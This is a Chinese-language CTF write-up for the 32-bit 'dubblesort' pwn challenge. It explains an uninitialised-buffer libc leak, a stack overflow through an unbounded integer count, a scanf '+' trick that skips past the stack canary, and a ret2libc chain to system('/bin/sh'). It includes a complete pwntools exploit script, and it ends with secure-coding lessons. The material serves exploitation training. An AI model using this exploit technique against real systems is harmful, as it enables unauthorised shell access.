dubblesort
首先看一下程式的保護機制

保護全開,并且是一個32位程式
然後,我們用IDA分析一下
這裡,有兩個漏洞
第一個是在調用read之前,沒有調用memset對buf清空,是以,buf裡可能之前會有一些殘留的關鍵資料
第二個是,輸入的整數個數沒有上限,可以造成資料溢出,其實也就是棧溢出。
我們在read斷點,然後觀察棧中的資料,發現資料還未輸入時,棧裡就有一些關鍵資料
我們可以輸入7 * 4 = 28個字元,然後printf時,就會把接下來的資料列印出來,直到遇\x00
洩露這個資料後(目前為0xF7797244),然後我們找到libc的基位址,目前為0xF75E9000
然後我,我們算的它們之間的偏移
Off = 0xF7797244 - 0xF75E9000 = 0x1AE244
于是,我們就這樣洩露libc位址
- #洩露位址并計算出libc的位址
- payload = 'a'*0x1C
- sh.sendafter('name :',payload)
- sh.recvuntil(payload)
- #計算libc加載位址
- libc_base = u32(sh.recv(4)) - off
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
接下來,我們來做一個實驗,讓我們先抛開本題,來看看這樣的代碼
- #include <stdio.h>
- int main() {
- int a = 10;
- while (true) {
- scanf("%u",&a);
- printf("%u\n",a);
- }
- }
然後,我們發現,當我們輸入+或-符号,scanf就直接跳過了對a的輸入
經過測試,%u、%x、%d等都有這種特性
然後,我們繼續分析此題,
我們接下來會輸入n個整數,存入v13的空間處,而v13在ebp-0x70處,v15存的是canary的值,它位于ebp-0x10處,我們不能把canary的值給改了,我們需要保留它,是以,我們先輸入(0x70-0x10)/4 = 24個整數,然後接下來輸入+或-号,跳過目前輸入,然後我們到達ebp-0xC處,距離傳回位址ebp+0x4還差0x10/4=4個,是以,我們繼續輸入4個整數,接下來,我們再輸入ROP即可
注意,本題IDA分析出來的位置相對于ebp不準,但是各個變量之間的相對關系還是準的
實際,距離傳回位址ebp+0x4還差7個,調試調試就知道了
由于,我們輸入的資料會做一遍升序排序,是以,為了保留我們輸入的順序,我們前24個資料都輸入0,然後輸入+或-跳過canary,然後輸入(7 + 1 + 1)個system的位址整數值,然後輸入一個binsh_addr的整數值,程式退出main後,便執行shell
因為system_addr總是小于binsh_addr,而這兩個位址值一般大于canary的值,canary是個随機生成的數,如果有時不滿足這個大小關系,隻需重新執行程式,多試幾次即可。
于是,我們最終的exp腳本是這樣的
- #coding:utf8
- from pwn import *
- sh = process('./dubblesort',env={"LD_PRELOAD" : "./libc_32.so.6"})
- #sh = remote('111.198.29.45',57605)
- libc = ELF('./libc_32.so.6')
- off = 0x1AE244
- #洩露位址并計算出libc的位址
- payload = 'a'*0x1C
- sh.sendafter('name :',payload)
- sh.recvuntil(payload)
- #計算libc加載位址
- libc_base = u32(sh.recv(4)) - off
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- n = 35
- sh.sendlineafter('sort :',str(n))
- for i in range(0,n-11):
- sh.sendlineafter('number :',str(0))
- sh.sendlineafter('number :','+')
- for i in range(0,9):
- sh.sendlineafter('number :',str(system_addr))
- sh.sendlineafter('number :',str(binsh_addr))
- sh.interactive()
本題告訴我們,
用read讀取資料到緩沖區前,先對緩沖區初始化
數組要檢查下标越界